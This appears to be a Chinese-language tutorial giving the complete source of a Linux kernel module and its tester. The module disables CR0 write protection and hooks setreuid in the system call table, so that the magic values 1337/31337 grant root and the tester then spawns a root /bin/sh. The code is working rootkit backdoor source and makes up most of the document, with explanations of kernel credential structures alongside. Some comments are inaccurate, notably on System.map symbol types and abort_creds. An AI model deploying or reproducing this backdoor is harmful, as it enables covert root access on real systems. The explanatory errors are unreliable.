本实例包括hook.c test.c
hook.c利用LKM(可加载内核模块)实现系统调用sys_setreuid的拦截。当ruid==1337&&euid==31337时,将当前进程的所有的uid和gid设为0。
test.c 用于测试hook模块加载之后是否有效。
hook.c如下:
#include <linux/module.h>//module_init/module_exit在此定义
#include <linux/init.h>
#include <linux/types.h>
#include <linux/syscalls.h>
#include <linux/delay.h>
#include <linux/sched.h>
#include <linux/version.h>
// Write Protect Bit (CR0:16)
#define CR0_WP 0x00010000
MODULE_LICENSE("GPL");
void **syscall_table;
unsigned long **find_sys_call_table(void);
long (*orig_sys_setreuid)(uid_t ruid, uid_t euid);
/**
* /boot/System.map-3.13.0-43-generic:
*
* ffffffff811bb230 T sys_close T代表属主和root有删除文件的权限
* ffffffff81801400 R sys_call_table R 可读
* ffffffff81c15020 D loops_per_jiffy D 此文件为目录?
*
*/
unsigned long **find_sys_call_table()
{
unsigned long ptr;
unsigned long *p;
/**
sys_call_table在sys_close和loops_per_jiffy之间,所以用这两个符号地址作为边界进行查询!
从sys_close开始, 逐一尝试每一个指针大小的内存:把它当成是sys_call_table的地址,
用某个系统调用的编号(也就是索引sys_close)访问数组中的成员,
如果访问得到的值刚好是是这个系统调用号所对应的系统调用的地址,
那么我们就认为当前尝试的这块指针大小的内存就是我们要找的sys_call_table的地址。
*/
for (ptr = (unsigned long) sys_close; ptr < (unsigned long) &loops_per_jiffy; ptr += sizeof(void *))
{
p = (unsigned long *) ptr;
if (p[__NR_close] == (unsigned long) sys_close)
{
return (unsigned long **) p;
}
}
return NULL;
}
int my_sys_setreuid(uid_t ruid, uid_t euid)
{
/*
获取当前进程的用户空间
struct user_namespace{
struct uid_gid_map uid_map;
struct uid_gid_map gid_map;
struct uid_gid_map projid_map;
atomic_t count;
struct user_namespace *parent;
int level;
kuid_t owner;
kgid_t group;
struct nu_common ns;
unsigned long flag;
}
*/
struct user_namespace *ns = current_user_ns();//获取当前进程的用户空间
/*
struct cred {
kuid_t uid; //real UID of the task
kgid_t gid; // real GID of the task
kuid_t suid; // saved UID of the task
kgid_t sgid; // saved GID of the task
kuid_t euid; // effective UID of the task
kgid_t egid; // effective GID of the task
kuid_t fsuid; // UID for VFS ops
kgid_t fsgid; // GID for VFS ops
unsigned securebits; // SUID-less security management
kernel_cap_t cap_inheritable; // caps our children can inherit
kernel_cap_t cap_permitted; //caps we're permitted
kernel_cap_t cap_effective; // caps we can actually use
kernel_cap_t cap_bset; //capability
}
**/
struct cred *new;
int result;
kuid_t kuid;
kgid_t kgid;
if (ruid == 1337 && euid == 31337)
{
printk(KERN_DEBUG "You just found our magic number!\n");
/*内核版本小于2.6.29时,无需创建新的creds集合*/
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = 0;//root权限
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->suid = 0;
current->sgid = 0;
current->fsuid = 0;
current->fsgid = 0;
result = 0;
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 30) && LINUX_VERSION_CODE <= KERNEL_VERSION(3, 4, 0)
/**
准备一个新的creds集合,
因为进程的creds通常不能直接别更改,
需要这个函数来准备一个副本,
调用者获取副本之后,
进行更改,
再通过commit_creds()提交。
*/
new = prepare_creds();
if (new != NULL)
{
new->uid = 0;
new->gid = 0;
new->euid = 0;
new->egid = 0;
new->suid = 0;
new->sgid = 0;
new->fsuid = 0;
new->fsgid = 0;
result = commit_creds(new);
}
else
{
/*
解锁之前的creds,应用新的creds,并解锁当前进程。
@new: The credentials that were going to be applied
*/
abort_creds(new);
return -ENOMEM;
}
#else
kuid = make_kuid(ns, 0);//获取用户空间的owner
kgid = make_kgid(ns, 0);//获取用户空间的group
if (! uid_valid(kuid) && ! gid_valid(kgid))
{
return -EINVAL;
}
new = prepare_creds();
if (new != NULL)
{
new->uid = kuid;
new->gid = kgid;
new->euid = kuid;
new->egid = kgid;
new->suid = kuid;
new->sgid = kgid;
new->fsuid = kuid;
new->fsgid = kgid;
result = commit_creds(new);
}
else
{
abort_creds(new);
return -ENOMEM;
}
#endif
printk(KERN_DEBUG "Always remember... With great power comes great responsibility!\n");
return result;
}
return orig_sys_setreuid(ruid, euid);//返回原系统调用符号表地址
}
static int __init syscall_init(void)
{
unsigned long cr0;
printk(KERN_DEBUG "Let's do some magic!\n");
syscall_table = (void **) find_sys_call_table();//获取sys_call_table 修改系统调用
if (! syscall_table) {
printk(KERN_DEBUG "ERROR: Cannot find the system call table address.\n");
return -1;
}
printk(KERN_DEBUG "Found the sys_call_table at %16lx.\n", (unsigned long) syscall_table);
/**
CR0的位16是写保护(Write Proctect)标志。
当设置该标志时,处理器会禁止超级用户程序(例如特权级0的程序)向用户级只读页面执行写操作;
该位复位时则反之。该标志有利于UNIX类操作系统在创建进程时实现写时复制(Copy on Write)技术。
还可以用setbit()函数
*/
cr0 = read_cr0();//读取cr0寄存器的值
write_cr0(cr0 & ~CR0_WP);//修改CR0寄存器的值,取消页的读写保护,进而获取syscall_table的地址
printk(KERN_DEBUG "Houston! We have full write access to all pages. Proceeding...\n");
/*将setreuid系统调用的入口地址替换为hook函数的入口地址*/
orig_sys_setreuid = syscall_table[__NR_setreuid];
syscall_table[__NR_setreuid] = my_sys_setreuid;
write_cr0(cr0);//恢复cr0寄存器的值
return 0;
}
static void __exit syscall_release(void)
{
unsigned long cr0;
printk(KERN_DEBUG "I hate you!\n");
cr0 = read_cr0();
write_cr0(cr0 & ~CR0_WP);
syscall_table[__NR_setreuid] = orig_sys_setreuid;
write_cr0(cr0);
}
module_init(syscall_init);
module_exit(syscall_release);
test.c如下:
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *newargv[] = { NULL };
char *newenviron[] = { NULL };
setreuid(1337, 31337);//测试内核加载的模块
/*
execve可以在一个进程插入另外一个进程执行,
但是又不像fork()一样产生一个子进程,
execve()插入的进程和原进程共享进程号,
就好像执行这进程就像执行过程调用一般随意
*/
execve("/bin/sh", newargv, newenviron);//1 要执行的文件名 2 参数 3 环境变量
return 0;
}
----------
1.系统调用相关函数
int setreuid(uid_t ruid, uid_t euid)//将参数ruid 设为目前进程的真实用户识别码, 将参数euid 设置为目前进程的有效用户识别码
2.如何获取并修改系统调用表?
hook函数的原理是将原有的系统调用表(sys_call_table)中的函数符号替换为自己的函数符号
Linux2.4 内核中的系统调用表可以直接导出进行修改,但是2.6 之后被禁止直接导出,有两种间接获取调用表的方式:
boot/sys.map中查看
-如下图显示的是地址、权限以及查找对象,R代表只读,因此hook函数中在导出sys_call_table之前需要修改CR0的写保护位。上图可以看出sys_call_table地址在sys_close与loops_per_jiffy之间,因此可以使用暴力搜索,逐个内存块进行对比查找。具体怎么查找呢?
- 遍历sys_close与loops_per_jiffy之间的内存地址,步长为空指针大小
- 从sys_close开始,把每块指针大小的地址p当做sys_call_table的地址
- 用系统调用号_NR_close访问每块地址p,判断p[__NR_close]系统调用的地址与(unsigned long)sys_close是否相等
- 如果相等,则认为当前访问的内存块p就是sys_call_table的地址
如下代码段为导出sys_call_table的过程:
unsigned long **find_sys_call_table()
{
unsigned long ptr;
unsigned long *p;
for (ptr = (unsigned long) sys_close; ptr < (unsigned long) &loops_per_jiffy; ptr += sizeof(void *))
{
p = (unsigned long *) ptr;
if (p[__NR_close] == (unsigned long) sys_close)
{
return (unsigned long **) p;
}
}
return NULL;
}
3.进程结构体总结(namespace、credential)
代码中涉及到一些当前进程结构体,user_namespace以及cred下面来总结一下这些结构体的内容以及作用:
task_struct: 进程描述符的完整信息集合 ,里面包含指向namespace结构体的指针
struct task_struct{
...
/* Namespaces: */
struct nsproxy *nsproxy;
....
}
struct nsproxy {
atomic_t count;
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns_for_children;
struct net *net_ns;
struct cgroup_namespace *cgroup_ns;
};
namespace机制用于隔离内核资源(utc,ipc,mnt,pid,net,group),多个进程可共享同一个namespace,一个进程也可同时访问多个namespace。
所以每个namespace看上去就像一个单独的linux系统。
user_namespace在pid_namespace 之中
struct user_namespace {
struct uid_gid_map uid_map;
struct uid_gid_map gid_map;
struct uid_gid_map projid_map;
atomic_t count;
struct user_namespace *parent;
int level;
kuid_t owner;
kgid_t group;
struct ns_common ns;
unsigned long flags;
} __randomize_layout;
struct cred:进程凭据(credential),通常不能直接被修改,如果要修改,需要准备新的cred集合,然后提交。准备和提交的过程需要调用下面三个函数:
struct cred {
atomic_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
} __randomize_layout;
- prepare_creds(): 用于准备一个新的creds 集合,因为进程的creds通常不能直接别更改,需要这个函数来准备一个副本,调用者获取副本之后,进行更改,再通过commit_creds()提交
- commit_creds(new): 提交creds副本
- abort_creds(new): 解锁之前的creds,应用新的creds,并解锁当前进程。
@new: The credentials that were going to be applied